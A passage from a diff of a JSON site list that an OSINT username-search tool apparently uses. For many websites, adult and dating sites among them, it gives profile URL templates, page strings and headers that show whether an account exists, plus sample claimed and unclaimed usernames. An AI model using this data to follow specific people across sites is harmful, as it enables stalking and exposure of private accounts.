"https://www.empflix.com", + "url": "https://www.empflix.com/profile/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Empowher": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 88180, + "urlMain": "https://www.empowher.com", + "url": "https://www.empowher.com/users/{username}", + "usernameClaimed": "susanc", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Engadget": { + "checkType": "message", + "absenceStrs": [ + ", -" + ], + "presenseStrs": [ + "- Engadget" + ], + "url": "https://www.engadget.com/about/editors/{username}/", + "usernameClaimed": "kris-holt", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Enot-poloskun": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d" + ], + "urlMain": "https://enot-poloskun.ru/", + "url": "https://enot-poloskun.ru/member.php?username={username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 5687119 + }, + "Envato": { + "tags": [ + "au", + "forum", + "in" + ], + "engine": "Discourse", + "alexaRank": 631, + "urlMain": "https://forums.envato.com", + "usernameClaimed": "zigro", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Eporner": { + "tags": [ + "es", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Profile not found." + ], + "presenseStrs": [ + "Dashboard" + ], + "alexaRank": 2243, + "url": "https://www.eporner.com/profile/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Erboh": { + "urlSubpath": "/forum", + "disabled": true, + "tags": [ + "forum", + "pk" + ], + "engine": "vBulletin", + "alexaRank": 2045745, + "urlMain": "https://erboh.com/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Erogen.club": { + "tags": [ + "forum", + "ru", + "ua" + ], + "engine": "XenForo", + "alexaRank": 685261, + "urlMain": "https://erogen.club", + "usernameClaimed": "yanok", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Esate": { + "tags": [ + "ru" + ], + "checkType": "message", + "alexaRank": 1077202, + "urlMain": "http://esate.ru", + "presenseStrs": [ + "
    " + ], + "absenceStrs": [ + "\u0411\u043b\u043e\u0433 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "url": "http://esate.ru/blogs/{username}/", + "usernameClaimed": "Flashhell", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ethereum-magicians": { + "tags": [ + "cr", + "forum" + ], + "engine": "Discourse", + "alexaRank": 457231, + "urlMain": "https://ethereum-magicians.org", + "usernameClaimed": "amxx", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "EthicalHacker": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "presenseStrs": [ + "activity-loop-form" + ], + "alexaRank": 49571, + "urlMain": "https://www.ethicalhacker.net", + "url": "https://www.ethicalhacker.net/members/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ethresear": { + "tags": [ + "ch", + "cr", + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 163214, + "urlMain": "https://ethresear.ch", + "usernameClaimed": "weijiekoh", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Etsy": { + "tags": [ + "shopping", + "us" + ], + "errors": { + "Sanctions Policy": "Site censorship", + "\u041f\u043e\u043b\u0438\u0442\u0438\u043a\u0430 \u0441\u0430\u043d\u043a\u0446\u0438\u0439": "Site censorship" + }, + "checkType": "status_code", + "alexaRank": 81, + "urlMain": "https://www.etsy.com/", + "url": "https://www.etsy.com/shop/{username}", + "usernameClaimed": "JennyKrafts", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Etxt": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 18159, + "urlMain": "https://www.etxt.ru", + "url": "https://www.etxt.ru/{username}.html", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "EuroFootball": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 19964, + "urlMain": "https://www.euro-football.ru", + "url": "https://www.euro-football.ru/user/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Eurogamer": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 3034, + "urlMain": "https://www.eurogamer.net", + "url": "https://www.eurogamer.net/profiles/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Eva": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u0430\u0441\u043f\u043e\u0440\u0442 - - \u0415\u0432\u0430.\u0420\u0443" + ], + "alexaRank": 22335, + "urlMain": "https://eva.ru/", + "url": "https://eva.ru/passport/{username}/profile.htm", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "EyeEm": { + "tags": [ + "in", + "it", + "photo", + "sd" + ], + "checkType": "message", + "absenceStrs": [ + "Not Found (404) | EyeEm" + ], + "alexaRank": 42846, + "urlMain": "https://www.eyeem.com/", + "url": "https://www.eyeem.com/u/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "EzoterikaConversion": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 6020701, + "urlMain": "http://ezoterikaconversion.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "F-droid": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "Discourse", + "alexaRank": 76469, + "urlMain": "https://forum.f-droid.org", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Figma": { + "checkType": "message", + "headers": { + "User-Agent": "curl/8.6.0" + }, + "presenceStrs": [ + "twitter:title" + ], + "absenceStrs": [ + "Figma" + ], + "url": "https://www.figma.com/@{username}", + "urlMain": "https://www.figma.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 240, + "tags": [ + "design" + ] + }, + "8tracks.com": { + "checkType": "message", + "presenseStrs": [ + "Following" + ], + "absenceStrs": [ + "This page has vanished, or perhaps it never even existed..." + ], + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://8tracks.com/{username}" + }, + "www.adultism.com": { + "checkType": "message", + "presenseStrs": [ + "Member since" + ], + "absenceStrs": [ + "Not Found" + ], + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://www.adultism.com/profile/{username}" + }, + "architizer.com": { + "checkType": "message", + "presenseStrs": [ + "Projects" + ], + "absenceStrs": [ + "We can't seem to find the page you're looking for." + ], + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://architizer.com/users/{username}" + }, + "artfol.me": { + "checkType": "message", + "presenseStrs": [ + "About" + ], + "absenceStrs": [ + "This user does not exist" + ], + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://artfol.me/{username}" + }, + "asquero.com": { + "checkType": "message", + "presenseStrs": [ + "Tutorials" + ], + "absenceStrs": [ + "Find The Best Learning Resources" + ], + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://asquero.com/user/dashboard/{username}" + }, + "Byond": { + "absenceStrs": [ + "Announcements about BYOND's software and website." + ], + "presenseStrs": [ + "Shoutbox" + ], + "checkType": "message", + "url": "https://www.byond.com/members/{username}" + }, + "F3.cool": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 209015, + "urlMain": "https://f3.cool/", + "url": "https://f3.cool/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "F6S": { + "tags": [ + "in" + ], + "errors": { + "custom-page-main-frontpage-captcha": "Captcha detected" + }, + "checkType": "message", + "absenceStrs": [ + "Nothing to see here - 404" + ], + "presenseStrs": [ + "profile-heading" + ], + "headers": { + "Accept-Language": "en-US,en;q=0.5", + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0" + }, + "alexaRank": 8897, + "urlMain": "https://f6s.com/", + "url": "https://www.f6s.com/{username}", + "usernameClaimed": "vidheeshnacode", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fabswingers": { + "checkType": "message", + "absenceStrs": [ + "The user you tried to view doesn't seem to be on the site any more" + ], + "presenseStrs": [ + "View Profile" + ], + "url": "https://www.fabswingers.com/profile/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Faktopedia": { + "checkType": "message", + "absenceStrs": [ + "Nie znaleziono u\u017cytkownika o podanym loginie." + ], + "presenseStrs": [ + "Zamieszcza fakty od:" + ], + "url": "https://faktopedia.pl/user/{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fancentro": { + "checkType": "message", + "presenseStrs": [ + "FanCentro" + ], + "absenceStrs": [ + "Sorry, this page isn't available" + ], + "errors": { + "https://fancentro.com/nowar": "Site censorship" + }, + "url": "https://fancentro.com/{username}/", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fansly": { + "checkType": "message", + "presenseStrs": [ + "username" + ], + "absenceStrs": [ + "response: []" + ], + "url": "https://apiv2.fansly.com/api/v1/account?usernames={username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "FCRubin": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 8004914, + "urlMain": "https://www.fcrubin.ru", + "usernameClaimed": "flet", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fedi.lewactwo.pl": { + "checkType": "message", + "presenseStrs": [ + "@lewactwo.pl" + ], + "absenceStrs": [ + "The page you are looking for isn't here." + ], + "url": "https://fedi.lewactwo.pl/@{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "FIFA FORUMS": { + "disabled": true, + "tags": [ + "forum", + "gb", + "us" + ], + "checkType": "status_code", + "alexaRank": 72093, + "urlMain": "https://fifaforums.easports.com/", + "url": "https://fifaforums.easports.com/en/profile/discussions/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Forumprawne.org": { + "checkType": "status_code", + "url": "https://forumprawne.org/members/{username}.html", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fosstodon": { + "checkType": "message", + "presenseStrs": [ + "@fosstodon.org" + ], + "absenceStrs": [ + "The page you are looking for isn't here." + ], + "url": "https://fosstodon.org/@{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fotka": { + "checkType": "message", + "presenseStrs": [ + "profil" + ], + "absenceStrs": [ + "ERROR" + ], + "url": "https://api.fotka.com/v2/user/dataStatic?login={username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Friendfinder": { + "checkType": "message", + "presenseStrs": [ + "friendfinder.com/profile/" + ], + "absenceStrs": [ + "friendfinder.com/p/register.cgi" + ], + "url": "https://friendfinder.com/profile/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Friendfinder-x": { + "checkType": "message", + "presenseStrs": [ + "s Dating Profile on FriendFinder-x" + ], + "absenceStrs": [ + "friendfinder-x.com/p/register.cgi" + ], + "url": "https://www.friendfinder-x.com/profile/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Furaffinity": { + "checkType": "message", + "presenseStrs": [ + "Userpage of" + ], + "absenceStrs": [ + "user cannot be found" + ], + "url": "https://www.furaffinity.net/user/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis9" + }, + "FUTBIN": { + "disabled": true, + "tags": [ + "de", + "forum", + "gaming", + "gb", + "us" + ], + "checkType": "status_code", + "alexaRank": 1735, + "urlMain": "https://forums.futbin.com", + "url": "https://forums.futbin.com/profile/{username}", + "usernameClaimed": "YuvalDu", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Facebook": { + "regexCheck": "^[a-zA-Z0-9_\\.]{3,49}(?<!\\.com|\\.org|\\.net)$", + "checkType": "message", + "absenceStrs": [ + "rsrcTags" + ], + "presenseStrs": [ + "first_name" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" + }, + "alexaRank": 10, + "urlMain": "https://www.facebook.com/", + "url": "https://www.facebook.com/{username}", + "usernameClaimed": "zuck", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "networking" + ] + }, + "Facenama": { + "disabled": true, + "tags": [ + "ir" + ], + "checkType": "response_url", + "alexaRank": 21122, + "urlMain": "https://facenama.com/", + "url": "https://facenama.com/{username}", + "errorUrl": "https://facenama.com/404.html", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77" + }, + "FacultyOfMedicine": { + "tags": [ + "eg", + "forum" + ], + "engine": "XenForo", + "alexaRank": 288545, + "urlMain": "https://forum.facmedicine.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fameswap": { + "checkType": "status_code", + "url": "https://fameswap.com/user/{username}", + "usernameClaimed": "fameswap", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fandom": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 80, + "urlMain": "https://www.fandom.com/", + "url": "https://www.fandom.com/u/{username}", + "usernameClaimed": "Jungypoo", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "FandomCommunityCentral": { + "tags": [ + "wiki" + ], + "checkType": "status_code", + "alexaRank": 80, + "urlMain": "https://community.fandom.com", + "url": "https://community.fandom.com/wiki/User:{username}", + "usernameClaimed": "Red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fanlore": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 310080, + "urlMain": "http://fanlore.org", + "url": "http://fanlore.org/wiki/User:{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fanpop": { + "tags": [ + "in", + "us" + ], + "checkType": "response_url", + "alexaRank": 18642, + "urlMain": "https://www.fanpop.com/", + "url": "https://www.fanpop.com/fans/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Faqusha": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 351049, + "urlMain": "https://faqusha.ru", + "url": "https://faqusha.ru/profile/{username}/", + "usernameClaimed": "typhoon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fark": { + "tags": [ + "forum", + "news" + ], + "checkType": "message", + "absenceStrs": [ + "Tastes like chicken." + ], + "alexaRank": 7621, + "urlMain": "https://www.fark.com/", + "url": "https://www.fark.com/users/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fatsecret": { + "tags": [ + "au", + "us" + ], + "checkType": "response_url", + "alexaRank": 26070, + "urlMain": "https://www.fatsecret.com", + "url": "https://www.fatsecret.com/member/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Favera": { + "tags": [ + "ru" + ], + "disabled": true, + "checkType": "status_code", + "alexaRank": 1225740, + "urlMain": "https://favera.ru", + "url": "https://favera.ru/{username}", + "usernameClaimed": "mayhem", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fcdin": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 159130, + "urlMain": "http://fcdin.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fclmnews": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 165498, + "urlMain": "https://fclmnews.ru", + "url": "https://fclmnews.ru/user/{username}", + "usernameClaimed": "stoker82", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fegatch": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "http://www.fegatch.com/", + "url": "http://www.fegatch.com/users/{username}/artworks/", + "usernameClaimed": "margaret-veret", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ficwad": { + "tags": [ + "gb", + "in" + ], + "checkType": "status_code", + "alexaRank": 261654, + "urlMain": "https://ficwad.com/", + "url": "https://ficwad.com/a/{username}/favorites/authors", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ficwriter": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\ufeff\u042d\u0442\u043e\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u043b\u0438\u0431\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0438\u043b\u0438 \u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d." + ], + "alexaRank": 2421733, + "urlMain": "https://ficwriter.info", + "url": "https://ficwriter.info/polzovateli/userprofile/{username}.html", + "usernameClaimed": "Zinaida", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fifasoccer": { + "urlSubpath": "/forum", + "disabled": true, + "tags": [ + "forum", + "ru", + "ua" + ], + "engine": "vBulletin", + "alexaRank": 2241715, + "urlMain": "http://fifasoccer.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "FilmWeb": { + "tags": [ + "movies", + "pl" + ], + "checkType": "message", + "absenceStrs": [ + "top.location.href = '/404';" + ], + "alexaRank": 4157, + "urlMain": "https://www.filmweb.pl/user/adam", + "url": "https://www.filmweb.pl/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Filmogs": { + "disabled": true, + "tags": [ + "movies" + ], + "checkType": "status_code", + "urlMain": "https://www.filmo.gs/", + "url": "https://www.filmo.gs/users/{username}", + "usernameClaimed": "cupparober", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Filmow": { + "tags": [ + "br", + "pt" + ], + "checkType": "status_code", + "alexaRank": 41121, + "urlMain": "https://filmow.com/", + "url": "https://filmow.com/usuario/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Filmwatch": { + "tags": [ + "ca", + "in", + "pk", + "us" + ], + "checkType": "status_code", + "alexaRank": 212729, + "urlMain": "https://filmwatch.com", + "url": "https://filmwatch.com/user/home/{username}", + "usernameClaimed": "hazelamy", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Finanzfrage": { + "checkType": "status_code", + "url": "https://www.finanzfrage.net/nutzer/{username}", + "usernameClaimed": "finanzfrage", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Finforum": { + "tags": [ + "forum", + "ru", + "us", + "vn" + ], + "engine": "XenForo", + "alexaRank": 327592, + "urlMain": "https://finforum.net", + "usernameClaimed": "tropical", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Firearmstalk": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 526339, + "urlMain": "https://www.firearmstalk.com", + "url": "https://www.firearmstalk.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fireworktv": { + "tags": [ + "in", + "jp" + ], + "checkType": "message", + "absenceStrs": [ + "<title>Firework" + ], + "alexaRank": 132082, + "urlMain": "https://fireworktv.com", + "url": "https://fireworktv.com/ch/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fishingsib": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 67134, + "urlMain": "https://www.fishingsib.ru/", + "url": "https://www.fishingsib.ru/forum/members/?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fiverr": { + "tags": [ + "shopping", + "us" + ], + "checkType": "response_url", + "alexaRank": 153, + "urlMain": "https://www.fiverr.com/", + "url": "https://www.fiverr.com/{username}", + "errorUrl": "https://www.fiverr.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Flashflashrevolution": { + "tags": [ + "us" + ], + "checkType": "response_url", + "alexaRank": 78934, + "urlMain": "http://www.flashflashrevolution.com", + "url": "http://www.flashflashrevolution.com/profile/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Flbord": { + "tags": [ + "ru", + "ua" + ], + "checkType": "status_code", + "alexaRank": 1936025, + "urlMain": "https://flbord.com", + "url": "https://flbord.com/user/{username}/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Flickr": { + "tags": [ + "photo" + ], + "checkType": "status_code", + "alexaRank": 569, + "urlMain": "https://www.flickr.com/", + "url": "https://www.flickr.com/photos/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Flightradar24": { + "tags": [ + "de", + "es", + "us" + ], + "regexCheck": "^[a-zA-Z0-9_]{3,20}$", + "checkType": "status_code", + "alexaRank": 2517, + "urlMain": "https://www.flightradar24.com/", + "url": "https://my.flightradar24.com/{username}", + "usernameClaimed": "jebbrooks", + "usernameUnclaimed": "xgtrq" + }, + "Flipboard": { + "tags": [ + "in", + "tech" + ], + "regexCheck": "^([a-zA-Z0-9_]){1,15}$", + "checkType": "status_code", + "alexaRank": 5142, + "urlMain": "https://flipboard.com/", + "url": "https://flipboard.com/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewould" + }, + "Fluther": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 130955, + "urlMain": "https://www.fluther.com/", + "url": "https://www.fluther.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Flyertalk": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "alexaRank": 26402, + "urlMain": "https://www.flyertalk.com", + "url": "https://www.flyertalk.com/forum/members/{username}.html", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fm-forum": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f" + ], + "alexaRank": 1027372, + "urlMain": "https://fm-forum.ru", + "url": "https://fm-forum.ru/search.php?action=search&keywords=&author={username}", + "usernameClaimed": "nikita", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Fodors": { + "tags": [ + "us" + ], + "checkType": "response_url", + "alexaRank": 18322, + "urlMain": "https://www.fodors.com", + "url": "https://www.fodors.com/community/profile/{username}/forum-activity", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Folkd": { + "disabled": true, + "tags": [ + "eu", + "in" + ], + "checkType": "message", + "absenceStrs": [ + "", + "Folkd | Home" + ], + "alexaRank": 14019, + "urlMain": "http://www.folkd.com/profile/", + "url": "http://www.folkd.com/profile/{username}", + "usernameClaimed": "staffingservice", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Football": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0442\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 29781, + "urlMain": "https://www.rusfootball.info/", + "url": "https://www.rusfootball.info/user/{username}/", + "usernameClaimed": "solo87", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Footballforums": { + "tags": [ + "forum", + "gb" + ], + "engine": "XenForo", + "alexaRank": 1793267, + "urlMain": "http://www.footballforums.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Forest": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 1460281, + "urlMain": "https://forest.ru/", + "url": "https://forest.ru/forum/user/{username}/", + "usernameClaimed": "veter", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ForexDengi": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 107102, + "urlMain": "https://forexdengi.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "FortniteTracker": { + "tags": [ + "gaming" + ], + "checkType": "status_code", + "alexaRank": 9950, + "urlMain": "https://fortnitetracker.com/challenges", + "url": "https://fortnitetracker.com/profile/all/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Forum.glow-dm.ru": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 6472644, + "urlMain": "http://forum.glow-dm.ru", + "usernameClaimed": "jkey", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Forum.jambox.ru": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "urlMain": "https://forum.jambox.ru", + "usernameClaimed": "ComManDX", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7726749 + }, + "Forum.quake2.com.ru": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "," + ], + "urlMain": "http://forum.quake2.com.ru/", + "url": "http://forum.quake2.com.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "Khidalov", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Forum29": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "http://forum29.net", + "usernameClaimed": "KISS", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7864363 + }, + "ForumEvaveda": { + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 942412, + "urlMain": "http://forum.evaveda.com/", + "usernameClaimed": "leisan", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ForumHouse": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 18955, + "urlMain": "https://www.forumhouse.ru/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ForumJizni": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 2782478, + "urlMain": "http://www.forumjizni.ru", + "usernameClaimed": "luhoy2", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ForumKinopoisk": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 163148, + "urlMain": "https://forumkinopoisk.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ForumOdUa": { + "disabled": true, + "tags": [ + "forum", + "ro", + "ua" + ], + "engine": "vBulletin", + "alexaRank": 118763, + "urlMain": "https://forumodua.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ForumOszone": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 45176, + "urlMain": "http://forum.oszone.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ForumProSport": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 7963918, + "urlMain": "https://forumprosport.ru/", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ForumSmotri": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "urlMain": "https://forumsmotri.club", + "url": "https://forumsmotri.club/user/{username}/", + "presenseStrs": [ + "\u0411\u044b\u043b \u0442\u0443\u0442" + ], + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 4855188 + }, + "ForumTauck": { + "tags": [ + "forum", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "\u2014 Tauck Community" + ], + "urlMain": "https://forums.tauck.com", + "url": "https://forums.tauck.com/profile/{username}", + "usernameClaimed": "tashager", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ForumVancouver": { + "tags": [ + "ca", + "forum" + ], + "engine": "XenForo", + "urlMain": "http://www.forumvancouver.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 4965742 + }, + "ForumYuristov": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 